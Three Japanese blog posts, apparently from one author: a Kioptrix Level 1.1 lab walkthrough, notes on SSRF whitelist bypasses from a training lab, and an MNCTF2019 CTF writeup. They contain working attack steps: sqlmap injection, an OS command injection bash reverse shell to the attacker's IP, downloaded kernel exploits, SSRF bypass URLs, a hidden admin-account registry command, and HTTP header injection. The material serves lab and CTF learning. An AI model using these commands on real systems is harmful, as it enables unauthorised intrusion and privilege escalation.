Kioptrix: Level 1.1解く
Kioptrix: Level 1.1解く
ここから1つやる
調査
netdiscover
では対象マシンが見つからなかったため、arp-scan
コマンドを使用する。
攻撃対象のマシンのIPアドレスが分かった。
nmap
を叩く
80
や3306
が開いている為、何かしらのWebサービスとMysql DBが動いていると予想できる。
詳細を調べる。
$ nmap -sV -sC 192.168.56.103
nikto
特に脆弱性があるようには見えない
nikto
の情報からphp
で組まれていると予想。dirs3arch
で総当たりする
ブラウザで開いてみる
ログインフォームが表示される。
http://192.168.56.103/
とhttp://192.168.56.103/index.php/login
は同じページっぽい。
loginフォームに対して攻撃できないか試してみる。
XSSは反応がわかりづらそう(あんまり意味なさそう)なのでSQL Injectionの方で調査していくことに
パラメータを調べるためにBurp Suiteを起動する
ソースコードを見た方が早いね
username
がuname
、password
がpsw
だとわかる。これを元にsqlmap
で調べる。
$ sqlmap -o -u "http://192.168.56.103/index.php/login" --dbms MySQL --data "uname=username&psw=password" --risk=1
psw
というパラメータにSQL Injectionkの脆弱性が見つかる。
試しに入れてログインしてみるとログインできた
ログインすると以下のページが表示される
pingが送れるのかな?
試しに127.0.0.1
を入れてみるとログインフォームに戻されるので、正規のパスワードを取得する必要がある。
--dump
オプションをつけて表示させる。
2人のユーザのuname
とpsw
がわかる。
しかしadmin
アカウントでログインし、127.0.0.1
を入れsubmit
を押すが、なぜかログインフォームに戻される。
https
でアクセスしたらログイン状態が保持されたのでhttpsで接続するようにした。
無事ログインできたのでpingを送信してみる。
若年の感からOS command Injection通りそうなので試してみると、以下のような形式でコマンドが通ることがわかった。
; ifconfig
普通ですね。
OS Command Injectionが通るのでnc
でリバースシェルを張る事にする。
payload書く
下記の記事を丸々参考にしました。
- 攻撃対象に送信する文字列
;bash -i >& /dev/tcp/192.168.56.102/8000 0>&1
※ 192.168.56.102は攻撃者のIPアドレス
- 攻撃者のマシンで待ち受けておく
nc -nvlp 8000
あとはこれを実行してやる事でshellが取れる
とったshellはapache
の権限しかない
なので、管理者の権限にする方法を探る
OSやkernelなどのバージョンを見てみる。
OSのバージョンが明らかに古いので、脆弱性があるかを調べてみる
$ searchsploit centos 4.5
脆弱性が見つかった。
9542.c
が条件を満たしている。
payloadをworkディレクトリにコピーして、攻撃対象のサーバに送る。
$ cp $(locate 9542.c) . $ python3 -m http.server 8000
あとはshellを張っている攻撃対象のマシンからwget
で取得すればいいのだが、権限の問題でファイルを作成できない場所があるので適当な場所に移動して落としてくる
$ cd /tmp $ wget 192.168.56.102:8000/9542.c # download $ gcc 9542.c # build $ chmod +x a.out $ ./a.out # run
すると以下のように表示され、うまく走らない
[-] exploit failed, try again
ビルド時にwarningが出ていたのでそれが原因なのかもしれない
warningの内容を調べてみると最後の行に改行が入ってないという警告らしい。
しかし改行を入れて再びビルドしてやるとwarningは消えたがまだ実行時にこける...
詰まったので断腸の思いで少しだけwriteupを見る事にします。
上のブログが私と同じように[-] exploit failed, try again
が発生しており、他の脆弱性を探す方向にシフトしています。
仕方ないので私も他の方法で権限を昇格させる事にしました。
wget
でツールをコピーしてきて
$ wget 192.168.56.102:8000/linuxprivchecker.py
攻撃対象のマシンで実行してやる
$ python linuxprivchecker.py
たくさん出てきた。
sock_sendpage()
っていうのを使ってみる事にする。
$ cp $(locate 9598.txt) .
テキストファイルなので中をみる
This is the second version of Linux sock_sendpage() NULL pointer dereference exploit. Now, it also works with Linux kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with that types. https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz) milw0rm.com [2009-09-09]
別の場所からバイナリを落として来ないといけないらしい。
$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz
手順通りにファイルを落としてきて実行してやる。
$ run
いろいろ回り道したけどrootをとることができた~
感想
他の人のwriteupをみると、mysqlの脆弱性から権限を昇格したりしている。
$ ps -A
などで動いているプロセスを確認してそこからいろいろやるのも面白そう
PS: 最近hacktheboxにハマってます。
server side request フォージェリ メモ
server side request フォージェリ メモ
Webセキュリティの基礎を下のサイトで復習していたときにわからないところがあった。
これの『SSRF with whitelist-based input filters』の章がスッと理解出来なかったので学んだことをメモする。
※ 問題の解法などのネタバレが含まれています(何か問題があれば記事消します)
この章ではSSRFをブロックするためのホワイトリストをバイパスして攻撃すると言う問題だ。
バイパスする方法はいくつかあり、このサイトでは下の5つが挙げられていた。
- You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
- You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
- You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
- You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
- You can use combinations of these techniques together.
これを順番に見ていく
1. @ character
You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
@
で資格情報を埋め込めるらしい。
http://username:password@example.com
みたいな形なら知っていたが、ホストの指定とかもできるんですねー
LABのsolutionをみると、この部分は以下のようになっている。
Change the URL to http://username@stock.weliketoshop.net/ and observe that this is accepted, indicating that the URL parser supports embedded credentials.
@
をつけて資格情報が通るかどうかをチェックしている。
上のリクエストがhttp://127.0.0.1/
を送信した場合の挙動。
HTTPのステータスコードが400
になっている。
下のリクエストはhttp://username@stock.weliketoshop.net/
を送った場合の挙動で、こちらは500
のステータスコードが帰ってきている。
これが資格情報が通るかどうかの判断基準になっているのかな?
返すエラーが違うと、こういったところから情報が集められるんですね
返すエラーは統一した方がいいのかな?🤔
2. # character
You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
#
の後につけるのはDOMのid属性を指定して使える。
例えば『リンクを開くとこのサイトのこの行へ移動させる』というようなことができる。
ということはわかるのだが、なぜこれが攻撃につながるのかがわからない...
3. DNS naming
You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
???
4. URL-encode characters
これはわかる。
5. これらの手法を組み合わせることができます
これらの手法を組み合わせることができます
わからない点
最終的に出来上がるpayloadは以下になるらしい。
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
localhost:80
はローカルホストの80番ポートにアクセスすることがわかる。
%2523
は#
をエンコードしたもの。これより後の文字列はid属性を刺す...?
@stock.weliketoshop.net
は@
がついているのでこれより前の要素たちは認証情報に当たるのかな...?
URLフラグメントを利用して他のホストを参照しているように見えるんですけど
感想
???
わかるようになったことだけブログに書いていければいいなぁ
MNCTF2019 writeup
MNCTF2019 writeup
2020/2/3 開始
本当は時間制限を設けてやるものらしいのだが、全ての問題を解きたかったので(後から知ったので)時間は測らずにまったりやってます。
悪意部品
あ
標的攻撃I
vmdk形式のディスクイメージが渡される。
a.EXE
という名前の実行ファイルがある。
hashをとってやる
標的攻撃Ⅱ
仮想マシン上でmalwareを実行してユーザーなどを確認するが、特に追加されてるように見えない。
マルウェアを解析する。
- strings
!This program cannot be run in DOS mode. .text .data @.import h1 @ h6 @ h1 @ h1 @ /c net user /add SUPPORT_388945a1 @Abc123456 open /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited /c del a.exe This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1 kernel32.dll shell32.dll ExitProcess Sleep ShellExecuteA
この部分
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1
レジストリを操作しており、ユーザーのリストにSUPPORT_388945a1
を追加している。
管理者権限出なかったから失敗したっぽい。
管理者権限で実行してみる。
追加されていることがわかった。
標的攻撃Ⅲ
Ⅱで入手した名前でOSINTする。
ここに書いてある
標的攻撃Ⅳ
作成したユーザをログイン画面で非表示にするためのレジストリキー名を答えよ。
そんなのあるの
検索すると以下のサイトが分かりやすかった。
strings
で見つかった文字列のなかにこれに似たものがある。
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
建屋制御Ⅰ
pcapファイルを見て空調コントローラーのlocationを特定しろと言う問題。
通信のプロトコルにはBACnet
という物を使用しているらしい
locationの値が出てくるような通信はレスポンスだろうと考え、気合で探す。
建屋制御Ⅰ
あ
情報漏洩I
難読化したbatファイルが渡される。
全く読めないので全ての行にecho
をつけて実行する。
見てみると、temp.txt
というファイルを出力している
ここに書かれている設定をftp
に渡して実行している
問題は、ツールの名前を答えろとのことなので、1行目に出力されていたツール名が答え
情報漏洩Ⅱ
盗まれた文書の文書内の「タイトル」を答えよ。
batファイルには*.xls
とあるが、ファイル名らしいものはどこにも書いてなさそう。(temp.txtは一時ファイルなので違う)
157.7.53.197
というアドレスがあるのでftpで接続する。
多分ここにあるけど、学内からはftpで接続できないので帰ってからやる
暗証保護
webサイトからパスワードを読み取る問題
リンク先を見る
password.php
の方を開くと以下の画面。
ここを何とかしてリモートからパスワードを見るっぽい。
ソースコードを見てみるとbody
のstyle
にいろいろ入れている。
もう一方のファイルを見てみる。
headerとbodyの内容を表示してくれるのかな?
試しに自分自身のURLを入れてみる
headerの内容と少しだけbodyの要素が帰ってくる。
password.php
のURLを入れても全てのパスワードが帰ってこないので、どうするのか考える。
HTTPのレスポンスの長さが少ないのでこれを長くする方法を考える。
いろいろやってるとHTTPヘッダインジェクション
ができることがわかった。
%0D%0A
を挟むことで任意のhttp headerを追加する
contents-lengthを指定してやる
http://mnctf.info/mnctf2019/task/admin/webchecker.php?host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0AContent-Length:%205000
感想
面白かった